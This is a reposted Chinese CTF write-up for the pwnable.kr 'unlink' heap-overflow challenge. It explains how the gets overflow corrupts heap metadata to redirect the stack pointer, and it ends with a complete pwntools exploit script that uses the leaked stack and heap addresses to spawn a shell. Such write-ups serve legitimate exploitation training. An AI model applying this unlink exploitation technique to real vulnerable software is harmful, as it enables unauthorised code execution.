pwnable.kr writeup之unlink

来源:互联网 发布:cms主题是什么意思 编辑:程序博客网 时间:2024/06/01 09:35

堆溢出学习


一道unlink的姿势的pwn题

做题前主要学习了这篇文章 http://wooyun.jozxing.cc/static/drops/tips-7326.html

溢出点其实相当简单,就是因为使用了不安全的gets函数
unlink溢出点
题目中已经知道了栈地址和堆地址,通过gets将shellcode写入栈中造成堆溢出。经典的unlink是通过改写got表中的free地址为我们的shellcode的地址,这里也没有用到free函数,关键就在main函数中。

8048555:    e8 46 fe ff ff          call   80483a0 <malloc@plt>804855a:    83 c4 10                add    $0x10,%esp804855d:    89 45 ec                mov    %eax,-0x14(%ebp)8048560:    83 ec 0c                sub    $0xc,%esp8048563:    6a 10                   push   $0x108048565:    e8 36 fe ff ff          call   80483a0 <malloc@plt>804856a:    83 c4 10                add    $0x10,%esp804856d:    89 45 f4                mov    %eax,-0xc(%ebp)8048570:    83 ec 0c                sub    $0xc,%esp8048573:    6a 10                   push   $0x108048575:    e8 26 fe ff ff          call   80483a0 <malloc@plt>804857a:    83 c4 10                add    $0x10,%esp804857d:    89 45 f0                mov    %eax,-0x10(%ebp)

由该段代码可知,ABC的地址分别为 ebp-0x14,ebp-0xc,ebp-0x10

80485f2:    e8 0d ff ff ff          call   8048504 <unlink>80485f7:    83 c4 10                add    $0x10,%esp80485fa:    b8 00 00 00 00          mov    $0x0,%eax80485ff:    8b 4d fc                mov    -0x4(%ebp),%ecx8048602:    c9                      leave  8048603:    8d 61 fc                lea    -0x4(%ecx),%esp8048606:    c3                      ret   

leave在32位汇编下相当于

    mov esp,ebp                                                pop ebp

ret指令的作用是栈顶字单元出栈,其值赋给EIP寄存器,只要能够修改ESP寄存器的内容修改为shellcode的地址就能够执行shellcode。
在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shellcode写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。

+-------------------+-------------------+  <- [A]|        FD         |        BK         |+-------------------+-------------------+  <- [A->buf]|     shellcode     |       AAAA        |+---------------------------------------+|              AAAAAAAA                 |+---------------------------------------+  <- [B]|       fd1         |        bk2        |+-------------------+-------------------+

shellcode的地址为leak的heap地址加8,又因为是将ecx-4的指针赋值给esp,shellcode的地址还需要加8

fd1 = heap_addr+12bk2 = stack_addr+16

最终我们将shellcode+8的值赋值给了ebp-0x4,由此构造exp。

from pwn import *context(log_level="debug")shell_addr = 0x080484ebs =  ssh(host='pwnable.kr',         port=2222,         user='unlink',         password='guest'        )p = s.process("./unlink")p.recvuntil("here is stack address leak: ")stack_addr = p.recv(10)stack_addr = int(stack_addr,16)p.recvuntil("here is heap address leak: ")heap_addr = p.recv(9)heap_addr = int(heap_addr,16)payload = p32(shell_addr)payload += 'a'*12payload += p32(heap_addr + 12)payload += p32(stack_addr + 0x10)p.send(payload)p.interactive()
0 0